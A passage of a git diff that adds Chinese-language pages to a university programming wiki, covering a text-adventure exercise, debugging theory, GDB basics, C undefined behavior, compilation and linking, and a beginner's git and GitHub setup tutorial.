+     tags        "gold", "coin", "gold coin"
+     location    cave
+
+- guard
+     description "a burly guard"
+     tags        "guard", "burly guard"
+     location    field
+
+- player
+     description "yourself"
+     tags        "yourself"
+     location    field
+
+- intoCave
+     description "a cave entrance to the east"
+     tags        "east", "entrance"
+     location    field
+     destination cave
+
+- exitCave
+     description "an exit to the west"
+     tags        "west", "exit"
+     location    cave
+     destination field
+
+- wallField
+     description "dense forest all around"
+     tags        "west", "north", "south", "forest"
+     location    field
+
+- wallCave
+     description "solid rock all around"
+     tags        "east", "north", "south", "rock"
+     location    cave
+```
+
+::: warning 🤔 思考题：你能否自己用 C 来实现这段伪代码？
+:::
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二：文字冒险（cool）.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二：文字冒险（cool）.md
new file mode 100644
index 0000000..d7d44a8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二：文字冒险（cool）.md
@@ -0,0 +1,43 @@
+# 阶段二：文字冒险（cool）
+
+## 前言
+
+本来打算让各位做下面的任务来进行进一步的学习的，但是想了想，实在是，**太无聊啦**！
+
+又想让你们来做一个管理系统，但是又想到你们可能会进行无数个管理系统，**这也太无聊啦**！
+
+因此呢，我打算带大家玩一个文字冒险游戏！[源头取自这里](https://github.com/helderman/htpataic)，如果你想自己体验全流程的话可以试试玩哦！
+
+当然，在编写的过程中，难免会出现你感到困惑的地方，比如说，你觉得这样更好，或者说，你不明白为什么要这样编写代码，欢迎你进行更多的独立的尝试。
+
+其次我要说的是：
+
+这个学习过程会非常硬核，所以你感觉非常多东西不会是很正常的！
+
+我希望你可以通过这种方式，以后在面临一个大项目或者别人的代码时（你经常要借鉴别人的代码）保持冷静。
+
+可以保证的是，如果你成功坚持下来了，你将会在接下来的编程生涯中保持长时间的游刃有余。
+
+当然，如果你选择跳过，也不会对 python 开发那里造成非常大的影响但是你会错失一个非常宝贵的学习机会。
+
+![](https://cdn.xyxsw.site/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg)
+
+在 1980 年代， [文字冒险](http://en.wikipedia.org/wiki/Text_adventure) 是一种受人尊敬的电脑游戏类型。但是时代已经变了，在 21 世纪，它们与 带有 3D 引擎的现代 [MMORPG 相比显得苍白无力。](http://en.wikipedia.org/wiki/Mmorpg)书籍在电影的兴起中幸存下来，而基于文本的游戏很快就输掉了与图形游戏的战斗。“互动小说”由一个活跃的社区保持活力，但它的商业价值早已不复存在。
+
+## 系统调试的黄金法则：KISS 原则
+
+这里的 `KISS` 是 `Keep It Simple, Stupid` 的缩写，它的中文翻译是：不要在一开始追求绝对的完美。
+
+随着以后代码量会越来越多，各个模块之间的交互也越来越复杂，工程的维护变得越来越困难，一个很弱智的 bug 可能需要调好几天。
+
+在这种情况下，系统能跑起来才是王道，跑不起来什么都是浮云，追求面面俱到只会增加代码维护的难度。
+
+唯一可以把你从 bug 的混沌中拯救出来的就是 KISS 法则，它的宗旨是**从易到难，逐步推进**, 一次只做一件事，少做无关的事。
+
+如果你不知道这是什么意思，我们以可能发生的 `str` 成员缓冲区溢出问题来作为例子。KISS 法则告诉你，你应该使用 `assert(0)`, 就算不"得体"地处理上述问题，仍然不会影响表达式求值的核心功能的正确性。
+
+如果你还记得调试公理，你会发现两者之间是有联系的：调试公理第二点告诉你，未测试代码永远是错的。与其一下子写那么多"错误"的代码，倒不如使用 `assert(0)` 来有效帮助你减少这些"错误".
+
+如果把 KISS 法则放在软件工程领域来解释，它强调的就是多做[单元测试](http://en.wikipedia.org/wiki/Unit_testing): 写一个函数，对它进行测试，正确之后再写下一个函数，再对它进行测试... 一种好的测试方式是使用 assertion 进行验证，
+
+KISS 法则不但广泛用在计算机领域，就连其它很多领域也视其为黄金法则，[这里](http://blog.sciencenet.cn/blog-414166-562616.html)有一篇文章举出了很多的例子，我们强烈建议你阅读它，体会 KISS 法则的重要性。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md
new file mode 100644
index 0000000..560add4
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论.md
@@ -0,0 +1,67 @@
+# 调试理论
+
+::: warning 🌲 调试公理
+
+- The machine is always right. (机器永远是对的)
+
+  - Corollary: If the program does not produce the desired output, it is the programmer's fault.
+- Every line of untested code is always wrong. (未测试代码永远是错的)
+
+  - Corollary: Mistakes are likely to appear in the "must-be-correct" code.
+
+这两条公理的意思是：抱怨是没有用的，接受代码有 bug 的现实，耐心调试.
+:::
+
+::: warning 😋 如何调试
+
+- 不要使用"目光调试法", 要思考如何用正确的工具和方法帮助调试
+
+  - 程序设计课上盯着几十行的程序，你或许还能在大脑中像 NEMU 那样模拟程序的执行过程; 但程序规模大了之后，很快你就会放弃的：你的大脑不可能模拟得了一个巨大的状态机
+  - 我们学习计算机是为了学习计算机的工作原理，而不是学习如何像计算机那样机械地工作
+- 使用 `assert()` 设置检查点，拦截非预期情况
+
+  - 例如 `assert(p != NULL)` 就可以拦截由空指针解引用引起的段错误
+- 结合对程序执行行为的理解，使用 `printf()` 查看程序执行的情况 (注意字符串要换行)
+
+  - `printf()` 输出任意信息可以检查代码可达性：输出了相应信息，当且仅当相应的代码块被执行
+  - `printf()` 输出变量的值，可以检查其变化过程与原因
+- 使用 GDB 观察程序的任意状态和行为
+
+  - 打印变量，断点，监视点，函数调用栈...
+:::
+
+![](https://cdn.xyxsw.site/boxcnaqLMfwqNMTcYEPuF3vFjqg.png)
+
+## 什么是调试理论
+
+如果我们能判定任意程序状态的正确性，那么给定一个 failure，我们可以通过二分查找定位到第一个 error 的状态，此时的代码就是 fault (bug)。
+
+## 正确的方法：理解程序的执行过程，弄清楚到底为何导致了 bug
+
+- `ssh`：使用 `-v` 选项检查日志
+- `gcc`：使用 `-v` 选项打印各种过程
+- `make`：使用 `-n` 选项查看完整命令
+
+  - `make -nB | grep -ve '^\(echo\|mkdir\)'` 可以查看完整编译 nemu 的编译过程
+
+各个工具普遍提供调试功能，帮助用户/开发者了解程序的行为
+
+## 错误概念
+
+我们来简单梳理一下段错误发生的原因。首先，机器永远是对的。如果程序出了错，先怀疑自己的代码有 bug . 比如由于你的疏忽，你编写了 `if (p = NULL)` 这样的代码。但执行到这行代码的时候，也只是 `p` 被赋值成 `NULL`, 程序还会往下执行。然而等到将来对 `p` 进行了解引用的时候，才会触发段错误，程序彻底崩溃。
+
+我们可以从上面的这个例子中抽象出一些软件工程相关的概念：
+
+- Fault: 实现错误的代码，例如 `if (p = NULL)`
+- Error: 程序执行时不符合预期的状态，例如 `p` 被错误地赋值成 `NULL`
+- Failure: 能直接观测到的错误，例如程序触发了段错误
+
+调试其实就是从观测到的 failure 一步一步回溯寻找 fault 的过程，找到了 fault 之后，我们就很快知道应该如何修改错误的代码了。但从上面的例子也可以看出，调试之所以不容易，恰恰是因为：
+
+- fault 不一定马上触发 error
+- 触发了 error 也不一定马上转变成可观测的 failure
+- error 会像滚雪球一般越积越多，当我们观测到 failure 的时候，其实已经距离 fault 非常遥远了
+
+理解了这些原因之后，我们就可以制定相应的策略了：
+
+- 尽可能把 fault 转变成 error. 这其实就是测试做的事情，所以我们在上一节中加入了表达式生成器的内容，来帮助大家进行测试，后面的实验内容也会提供丰富的测试用例。但并不是有了测试用例就能把所有 fault 都转变成 error 了，因为这取决于测试的覆盖度。要设计出一套全覆盖的测试并不是一件简单的事情，越是复杂的系统，全覆盖的测试就越难设计。但是，如何提高测试的覆盖度，是学术界一直以来都在关注的问题。
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索（编程可阅览）.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索（编程可阅览）.md
new file mode 100644
index 0000000..fc5f39d
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索（编程可阅览）.md
@@ -0,0 +1,65 @@
+# GDB 初探索（编程可阅览）
+
+请在开始进行 C 语言编程之后查阅使用
+
+![](https://cdn.xyxsw.site/boxcnHXggg6eLy86vFmb4shOksh.png)
+
+## GDB 是什么？
+
+调试器，简单来说就是当你代码跑不通时候修正错误用的
+
+[GDB's Mascot?](https://sourceware.org/gdb/mascot/)
+
+可搭配插件 gef pwndbg pwngdb peda
+
+## 基本操作
+
+[GDB 快速入门教程](https://www.bilibili.com/video/BV1EK411g7Li/)
+
+### **GDB 使用表**
+
+`run (r)`运行程序
+
+`b`打断点，可以在函数和位置打断点
+
+`info b`查看打断点的位置
+
+`n`下一步，跳过函数的
+
+`list`查看源代码
+
+`-p`走 PID 路线
+
+`edit [file:]function` 看现在停下的函数位置
+
+`step` 进入任何函数
+
+`p`打印变量
+
+`shell`输入命令
+
+`set logging on`记录日志
+
+`watchpoint`观察变量是否变化的观察点
+
+`watch`设置观察点位置，watch*（地址）
+
+`layout split`开启 TUI 模式
+
+`whatis`查看变量类型
+
+`ptype`查看详细信息
+
+#### **TUI**
+
+`ctrl + x + a`开启
+
+`ctrl + p + n`往前
+
+`ctrl + l`重新整理页面
+
+## 官方手册
+
+[GDB User Manual](https://sourceware.org/gdb/current/onlinedocs/gdb)
+
+有非常多高级用法，可以在必要的时候进行查阅，受益无穷
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题：undefined behavior.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题：undefined behavior.md
new file mode 100644
index 0000000..ecbff4c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题：undefined behavior.md	
@@ -0,0 +1,63 @@
+# C 的历史问题：undefined behavior
+
+![](https://cdn.xyxsw.site/boxcnIdOChXQUGMvnxWcB7uTWLh.png)
+
+简写为 UB
+
+“Anything at all can happens; the Standard imposes no requirements. The program may fail to compile, or it may execute incorrectly (either crashing or silently generating incorrect results), or it may fortuitously do exactly what the programmer intended”
+
+简单来说就是：他没定义这种操作该怎么办。
+
+比如说/0 以及一些你们可能没接触过的操作。
+
+给你们看个恶心的例子：
+
+```c
+int main(int argc, char **argv) {
+    int i = 3;
+    int r = (i++*++i+i--*--i);
+    printf("The answer : %dn", r);
+    system("pause");
+    return 0;
+}
+```
+
+让我们看看不同编译器的 Debug 模式下执行的结果
+
+Visual C++ 6.0
+
+> The answer : 25
+
+Visual C++ 2008 Express
+
+> The answer : 18
+
+MinGW(GCC)
+
+> The answer : 25
+
+我们试试看在 Release 下执行的结果
+
+Visual C++ 6.0
+
+> The answer : 18
+
+Visual C++ 2008 Express
+
+> The answer : 18
+
+MinGW(GCC)
+
+> The answer : 25
+
+C 语言最初为了开发 UNIX 和系统软体而生，本质是低阶的程式语言
+
+在语言规范层级存在 UB，可允许编译器引入更多最佳化。比方说 `X * 2 / 2` 在沒有 overflow 发生的時候，可最佳化为 `X`。
+
+而且值得注意的是，在你的程序初始化之前，栈里面塞的一堆东西也是 UB。
+
+但是高级语言比如说 java，python 都不会出现这样的问题了。
+
+因为发现少一个时钟周期的运算多一堆问题，完全得不偿失啊。
+
+<del>关键是，老师喜欢出题刁难你啊！真烦啊！</del>
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md
new file mode 100644
index 0000000..20267a2
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么.md
@@ -0,0 +1,27 @@
+# C 编译器干了什么
+
+## 以 gcc 为例
+
+1、预处理，生成 .i 的文件[预处理器 cpp]
+
+2、将预处理后的文件转换成汇编语言，生成文件 .s [编译器 egcs]
+
+3、有汇编变为目标代码 (机器代码) 生成 .o 的文件[汇编器 as]
+
+4、连接目标代码，生成可执行程序 [链接器 ld]
+
+## 有啥用
+
+有一天你发现，某一段 C 语言只有几行，但是用了大量的魔法宏定义以及魔法操作以及神奇的元编程。
+
+你想看懂他，你可能需要学会 gcc -E。将他们都翻译成.i 文件。
+
+如果有一天你要学习汇编语言，或者说出现了在代码中看不出的 bug，你可能需要翻译成.s 文件
+
+## 了解更多
+
+当然不止如此，编译器还承担了优化的过程，有时候同一份代码，经过 O1 和 O2 不同优化可能最后代码都不一样。
+
+推荐阅读
+
+[编译器的工作过程](http://www.ruanyifeng.com/blog/2014/11/compiler.html)
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md
new file mode 100644
index 0000000..cc76c13
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载.md	
@@ -0,0 +1,83 @@
+# Inline Assembly 与链接加载
+
+## Inline Assembly
+
+可以在 C 代码里嵌入汇编语言的骚操作。毕竟编译器本身也就是个复制，翻译，，粘贴的过程。
+
+> C 语言是高级的汇编语言！
+
+你可以把每一个 C 语言的语句都直译成一条一条的汇编代码。反正也是顺序执行的。
+
+C 艹可能没那么容易了····比如说虚函数调用，那你就不太好翻译嘛。
+
+最简单的就是用用个 asm(.....)
+
+当然这里可以参考 c inline Asm 的教程 但是已经脱离了本文的主题了
+
+这里给指条路 [How to Use Inline Assembly Language in C Code](https://dmalcolm.fedorapeople.org/gcc/2015-08-31/rst-experiment/how-to-use-inline-assembly-language-in-c-code.html)
+
+> 诸如 Go 的高级语言 也可以通过 inline C 来 内链汇编
+
+你可以写任何一个指令，他完全不会检查 也不会优化 编译器默认你知道你在干什么。
+
+然后 C 编译器就会将这部分代码 **原封不动地**拷贝进你的二进制代码当中
+
+当然，你可以通过 RTFM 来将 C 语言的变量塞到汇编中处理。
+
+在 Windows 平台下 VS 没有 Code 可以以 `__asm {}` 代码块来进行实验 但是注意 只能在 x86 模式下使用 x64 不支持 可以参考 [__asm](https://docs.microsoft.com/zh-tw/cpp/assembler/inline/asm?view=msvc-170)
+
+以上两种平台的方案都其实本质是编译器特殊宏 并不包括在 C 的标准内 所以要针对不同的编译器 寻找对应的文档
+
+## 静态链接
+
+当你使用 GCC 生成可执行文件./a.out 时，到底发生了什么？
+
+为什么就可以直接执行呢？当你问及这个问题时，那么就大有一番探索的空间了
+
+## 链接器
+
+链接器的功能：将一个可执行程序所需的目标文件和库最终整合在一起。
+
+就是说，你调用的一些库，是必须要有外部的东西支持的
+
+这个就是帮你和外部库连接起来的重要部分。
+
+一个程序包含三个段：.text、.data 和 .bss 段。
+
+而各目标文件和库都包含这三段，所以，ld 链接器的功能就是将各个目标文件和库的三段合并在一起。
+
+当然，链接器所完成的链接工作并非只是简单地将各个目标文件和库的三段内存堆砌在一起，而是还要完成“重定位”的工作。
+
+### 查看二进制文件的工具
+
+使用 objdump 查看 data 节的 x，y
+
+查看 main 对应的汇编代码
+
+使用 readelf 查看 relocation 的信息
+
+使用 IDA BinaryNInja 一类反汇编工具
+
+## 动态链接
+
+静态链接一次用那么多，实在是太大太大了
+
+比如说一个 printf 就要几十 KB，完全没必要把 libc 代码包含到程序里面
+
+可以等程序加载好之后再去做一个链接
+
+Windows 下一般是 DLL 作为程序使用的 动态链接库
+
+Linux 下一般是 .so 如果你看到了 .a 那个一般是 archive 的缩写
+
+使用动态链接的好处在于 可以热加载和热更新
+
+## 共享连接的加载
+
+使用 ldd 来查看 a.out 就可以查看动态链接库
+
+不过 ldd 这个是个神奇的脚本！！！
+
+他做的事情就是挨个调用去试着加载 a.out
+
+加载会读取头中的一些表 比如全局 GOT 然后根据名称查找
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md
new file mode 100644
index 0000000..5c1b1bc
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈.md
@@ -0,0 +1,3 @@
+# C 基础知识杂谈
+
+本章节内容涉及 C 的调试，C 的历史遗留问题以及 C 的执行过程，可以作为补充资料让大家学习和思考
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md
new file mode 100644
index 0000000..0e65f08
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言.md
@@ -0,0 +1,13 @@
+# 3.4C 语言
+
+对于计算机学院的学生来说，C 语言要陪伴你以后要非常多的时光，以后的程序设计实践，数据结构，操作系统等等课程都是用 C 语言写的，因此我希望各位同学可以尝试着多完成一些内容
+
+对于自动化等别的学院的同学来说，C 语言更贴近计算机底层的运行原理，可以帮助你进行更为底层的各类开发，也是非常有帮助的。
+
+值得一提的是，我不会在本教程讲授过于基础的概念，但是会贴出你可能需要学习的内容。
+
+![](https://cdn.xyxsw.site/boxcnAnXUHDqsMYVrDlBfFunoVf.png)
+
+同时我要说的是：C 语言为了适配多种多样的硬件以及各式各样的操作，他对非常多的 undefined 操作不做太多限制，也就是说你可能会出现各种各样的问题，<del>甚至把你电脑炸了</del>
+
+但是不用担心，不会造成什么严重后果的，只不过你需要在编程的时候多加留心
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md
new file mode 100644
index 0000000..8d8d3b2
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github.md
@@ -0,0 +1,583 @@
+# 3.5git 与 github
+
+引自 nju-ics-pa
+
+## 光玉
+
+想象一下你正在玩 Flappy Bird，你今晚的目标是拿到 100 分，不然就不睡觉。经过千辛万苦，你拿到了 99 分，就要看到成功的曙光的时候，你竟然失手了！你悲痛欲绝，滴血的心在呼喊着，“为什么上天要这样折磨我？为什么不让我存档？”
+
+[Play Happy Bird](https://flappybird.io/)
+
+想象一下你正在写代码，你今晚的目标是实现某一个新功能，不然就不睡觉。经过千辛万苦，你终于把代码写好了，保存并编译运行，你看到调试信息一行一行地在终端上输出。就要看到成功的曙光的时候，竟然发生了错误！你仔细思考，发现你之前的构思有着致命的错误，但之前正确运行的代码已经永远离你而去了。你悲痛欲绝，滴血的心在呼喊着，“为什么上天要这样折磨我？”你绝望地倒在屏幕前 ... ... 这时，你发现身边渐渐出现无数的光玉，把你包围起来，耀眼的光芒令你无法睁开眼睛 ... ... 等到你回过神来，你发现屏幕上正是那份之前正确运行的代码！但在你的记忆中，你确实经历过那悲痛欲绝的时刻 ... ... 这一切真是不可思议啊 ... ...
+
+## 人生如戏，戏如人生
+
+人生就像不能重玩的 Flappy Bird，但软件工程领域却并非如此，而那不可思议的光玉就是“版本控制系统”。版本控制系统给你的开发流程提供了比朋也收集的更强大的光玉，能够让你在过去和未来中随意穿梭，避免上文中的悲剧降临你的身上。
+
+没听说过版本控制系统就完成实验，艰辛地排除万难，就像游戏通关之后才知道原来游戏可以存档一样，其实玩游戏的时候进行存档并不是什么丢人的事情。
+
+在本节，我们使用 `git` 进行版本控制。下面简单介绍如何使用 `git` ：
+
+### 游戏设置
+
+首先你得安装 `git` :
+
+- Linux 下
+
+```bash
+# Debian , Ubuntu
+sudo apt install git
+```
+
+- windows 下
+
+从这里下载 [https://git-scm.com/download/win](https://git-scm.com/download/win)
+
+下载完安装一路点 `next` 就行，什么配置也不用动。
+
+安装好之后，你需要先进行一些配置工作。在终端里输入以下命令：
+
+```bash
+git config --global user.name "Zhang San"            # your name
+git config --global user.email "zhangsan@foo.com"    # your email
+```
+
+经过这些配置，你就可以开始使用 `git` 了。
+
+你会通过 `git clone` 命令来拉取远程仓库的代码，里面已经包含一些 `git` 记录，因此不需要额外进行初始化。如果你想在别的实验、项目中使用 `git` ，你首先需要切换到实验、项目的目录中，然后输入
+
+```bash
+git init
+```
+
+进行初始化。初始化后会创建一个隐藏的文件夹名为 `.git` git 会基于这个文件夹来进行版本控制功能。
+
+### 查看 commit 信息
+
+使用
+
+```bash
+git log
+```
+
+查看目前为止所有的 commit 记录。
+
+（commit：提交）
+
+使用
+
+```bash
+git status
+```
+
+可以得知，与当前存档相比，哪些文件发生了变化。
+
+### 提交
+
+你可以像以前一样编写代码。等到你的开发取得了一些阶段性成果，你应该马上进行“提交（commit）”。
+
+首先你需要使用 `git status` 查看是否有新的文件或已修改的文件未被跟踪；若有，则使用 `git add` 将文件加入跟踪列表，例如
+
+```bash
+git add file.c
+```
+
+会将 `file.c` 加入**跟踪列表**。如果需要一次添加所有未被跟踪的文件，你可以使用
+
+```bash
+git add -A
+# 或者
+git add .
+```
+
+但这样可能会跟踪了一些不必要的文件（二进制文件），例如编译产生的 `.o` 文件，和最后产生的可执行文件。事实上，我们只需要跟踪代码源文件即可。为了让 `git` 在添加跟踪文件之前作筛选，你可以编辑 `.gitignore` 文件（没有的话手动创建 文件名就叫这个），在里面给出需要被 `git` 忽略的文件和文件类型。
+
+[这个网页](https://www.toptal.com/developers/gitignore) 可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件
+
+```bash
+# .gitignore文件示例
+.idea            # 编辑器配置
+__pycache__      # 缓存文件夹
+node_modules     # 某个可以拉取的模块文件夹
+dist
+*.local          # 以.local为后缀的文件
+index.html       # 一个文件
+file.o           # 一个编译后的文件
+```
+
+建议把编译后的文件都加入 `.gitignore` 并在 `README.md` 文件中留下编译的详细操作流程，节省 `.git` 空间、符合提交规范。
+
+把新文件加入跟踪列表后，使用 `git status` 再次确认。确认无误后就可以存档了，使用
+
+```bash
+git commit -m "...comment..."
+```
+
+提交工程当前的状态（注释）。其中 `...comment...` 是你本次提交的注释（一般在注释中简略写出本次提交干了什么）以下为注释规范，养成良好习惯请遵守：
+
+```bash
+模板：
+type(scope): subject
+
+type为commit的类型
+    feat: 新特性
+    fix: 修改问题
+    refactor: 代码重构
+    docs: 文档修改
+    style: 代码格式修改
+    test: 测试用例修改
+    chore: 其他修改, 比如构建流程, 依赖管理.
+    perf: 性能提升的修改
+    build: 对项目构建或者依赖的改动
+    ci: CI 的修改（ci是自动构建 感兴趣可以搜搜 github workflow ）
+    revert: revert 前一个 commit （ 撤销前一个commit ）
+    
+scope是文件名/模块名/影响的范围
+    例如 schoolSchedule
+    
+subject为commit概述
+    建议符合 50/72 formatting
+    
+例  feat(JoinForm): add success submit tips
+
+注意 冒号和subject之间要加空格
+```
+
+其中详细内容可以参照 [约定式提交](https://www.conventionalcommits.org/zh-hans/v1.0.0/)
+
+附上 [语义化版本 2.0.0 规范](https://semver.org/lang/zh-CN/)
+
+你可以使用 `git log` 查看存档记录，你应该能看到刚才编辑的注释。
+
+### 读档（回溯到某一个 commit）
+
+如果你遇到了上文提到的让你悲痛欲绝的情况，现在你可以使用光玉来救你一命了。首先使用 `git log` 来查看已有的存档，并决定你需要回到哪个过去。每一份存档都有一个 `hash code`，例如 `b87c512d10348fd8f1e32ddea8ec95f87215aaa5` , 你需要通过 `hash code` 来告诉 `git` 你希望读哪一个档。使用以下命令进行读档：
+
+```bash
+git reset --hard b87c
+```
+
+其中 `b87c` 是上文 `hash code` 的前缀：你不需要输入整个 hash code. 这时你再看看你的代码，你已经成功地回到了过去！
+
+但事实上，在使用 `git reset` 的 `hard` 模式之前，你需要再三确认选择的存档是不是你的真正目标。如果你读入了一个较早的存档，那么比这个存档新的所有记录都将被删除！这意味着你不能随便回到“将来”了。
+
+### 分支
+
+当然还是有办法来避免上文提到的副作用的，这就是 `git` 的分支功能。使用命令：
+
+```bash
+git branch
+```
+
+查看所有分支。其中 `master` 是主分支，使用 `git init` 初始化之后会自动建立主分支。
+
+读档的时候使用以下命令：
+
+```bash
+git checkout b87c
+```
+
+而不是 `git reset` 。这时你将处于一个虚构的分支中，你可以
+
+- 查看 `b87c` 存档的内容
+- 使用以下命令切换到其它分支
+
+```bash
+git checkout 分支名
+```
+
+- 对代码的内容进行修改，但你不能使用 `git commit` 进行存档，你需要使用
+
+```bash
+git checkout -B 分支名
+```
+
+- 把修改结果保存到一个新的分支中，如果分支已存在，其内容将会被覆盖
+
+不同的分支之间不会相互干扰，这也给项目的分布式开发带来了便利。有了分支功能，你就可以像第三视点那样在一个世界的不同时间 ( 一个分支的多个存档 )，或者是多个平行世界（多个分支）之间来回穿梭了。
+
+### 更多功能
+
+以上介绍的是 `git` 的一些基本功能，`git` 还提供很多强大的功能，例如使用 `git diff` 比较同一个文件在不同版本中的区别，使用 `git bisect` 进行二分搜索来寻找一个 bug 在哪次提交中被引入...
+
+其它功能的使用请参考 `git help` ， `man git` ，或者在网上搜索相关资料。
+
+## 全球最大男性交友网站 —— Github
+
+::: tip 🤡
+想象一下你正在进行人生中第一次软件开发的小组合作。
+
+你把任务分配好让组员去写代码中的某一个模块。组员写好之后发给你。
+
+你一看，通过 QQ 发过来的是一个文件啊文件  比如说 `学生管理模块.c` 你打开一看，我去是**乱码**。
+
+你废了九牛二虎之力把他的 GBK 编码改成 UTF8 之后，细细地品鉴这段代码，发现我去有严重逻辑错误，而且代码很不规范。
+
+你通过 QQ 告诉他，这一行有问题，能不能改一下。他说，好的我改一下。
+
+然后又发了文件啊文件给你，如此反复循环，你俩已经互相传了好几百个源代码文件，很没效率！
+:::
+
+> 通过 Git 版本控制管理自己的代码，再通过 Github 来发布、同步互联，是一个很好的解决方案！
+
+简介
+
+作为开源代码库以及版本控制系统，Github 拥有超过 900 万开发者用户。随着越来越多的应用程序转移到了云上，Github 已经成为了管理软件开发以及发现已有代码的首选方法。
+
+页面大概是这样（老图）：
+
+![](https://cdn.xyxsw.site/boxcnHemi9HkeAG1fgoznHbHLrc.png)
+
+### Git 和 Github
+
+[GitHub](https://github.com/)是一个面向开源及私有软件项目的托管平台，因为只支持 Git 作为唯一的版本库格式进行托管，故名 GitHub。
+
+### Git 绑定 Github
+
+::: tip 🤗
+下面将教学如何注册这个网站，并给[本项目](https://github.com/camera-2018/hdu-cs-wiki)点一个小小的 kita kita 的 star🎇
+:::
+
+#### 第一步：注册账号
+
+（[GitHub 官网](https://github.com/)）右上角点击 sign up 会有一个非常酷炫的界面指引你注册 🥳
+
+他会用一个像是命令行交互的方式引导注册，你需要依次填写 `邮箱` 、`密码` 、 `用户名（此为 ID 非昵称）` 、`是否同意邮箱广告推送` 、`机器验证码` 之后创建账户，随后会给你填写的邮箱发送验证码，填写注册。
+
+随后是一个欢迎问卷😋随便填写、如果他问你什么 PRO Plan  选择 free 不付费就好。
+
+最后你访问[GitHub 官网](https://github.com)应该会显示你的 dashboard 管理台界面
+
+#### 第二步：选择你拉取仓库的方式
+
+点开 github 某个仓库的绿油油的 `<>Code` 按钮，你会发现有三种 clone 方式。
+
+分别为
+
+- https（基本无配置，有图形化界面就能用）
+- ssh（有公私钥设置，没有图形化界面也能用）
+- gh-cli（github 出品的 cli 工具）
+
+![](https://cdn.xyxsw.site/Snipaste_2023-08-27_14-06-28.png)
+
+#### 【https 方法配置】账号绑定 github
+
+在命令行配置好你的 id 和邮箱
+
+```bash
+git config --global user.name "Zhang San"            # your name
+git config --global user.email "zhangsan@foo.com"    # your email
+```
+
+在 GitHub 主页，找到 `New` 或者 `Create repository` 一个绿色的按钮，创建一个新的仓库
+
+![](https://cdn.xyxsw.site/boxcn5sVnE76FYpVW2RDxtWDiZc.png)
+
+然后填上这个仓库的大名就可以创建了
+
+![](https://cdn.xyxsw.site/boxcnsN133WrLrbxsX8JgvsQmif.png)
+
+进入你新创建的仓库
+
+跟随新创建之后的指引，`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个 README.md 的文件，然后和 github 仓库绑定。
+
+push 的时候 github 会弹窗索要你的 github 个人信息，如下图
+
+![](https://cdn.xyxsw.site/image_32.png)
+
+输入你的 github 用户名
+
+![](https://cdn.xyxsw.site/image_33.png)
+
+但如果这个时候输入你的账户密码，就会出现如下提示
+
+![](https://cdn.xyxsw.site/image_35.png)
+
+这是因为 github 在 2021 年 8 月 13 日之后移除了对密码验证的支持，你需要使用令牌认证的方式
+
+进入个人设置，拉到最底下
+
+![](https://cdn.xyxsw.site/image_36.png)
+
+选择
+
+![](https://cdn.xyxsw.site/image_37.png)
+
+![](https://cdn.xyxsw.site/image_38.png)
+
+会看到这样一个界面
+
+![](https://cdn.xyxsw.site/image_39.png)
+
+可以随便起一个名字，选择 token 的有效期，然后给这个 token 一些权限，如果不清楚这些选项分别代表什么意思的话，把 repo 这个勾选一般就足够了。
+
+:::warning
+这个令牌只会在生成时可见，之后就不会再显示了，请做好复制并保存
+
+:::
+
+这样我们就可以使用 token 来进行 https 方法绑定 github 账号
+
+![](https://cdn.xyxsw.site/image_40.png)
+
+#### 【ssh 方法配置】创建 SSH Key 并获取公钥
+
+先在 `C:\Users\用户名\.ssh` 下找有没有 `id_rsa` 和 `id_rsa.pub` 文件
+
+:::tip
+这里 `.ssh` 文件夹是一个隐藏文件夹
+
+如何显示隐藏文件夹请搜索互联网或看这篇文章 [support microsoft 显示隐藏的文件](https://support.microsoft.com/zh-cn/windows/%E6%98%BE%E7%A4%BA%E9%9A%90%E8%97%8F%E7%9A%84%E6%96%87%E4%BB%B6-0320fe58-0117-fd59-6851-9b7f9840fdb2)
+:::
+
+如果有就直接跳过这一步
+
+如果没有，打开 Shell（Windows 下打开 Git Bash *前提是你已经安装好了 git 在桌面右键应该会有 Git bash here 选项*），创建 SSH Key：
+
+```bash
+ssh-keygen -t rsa -C "youremail@example.com"  # youremail为你注册用的电子邮件地址
+```
+
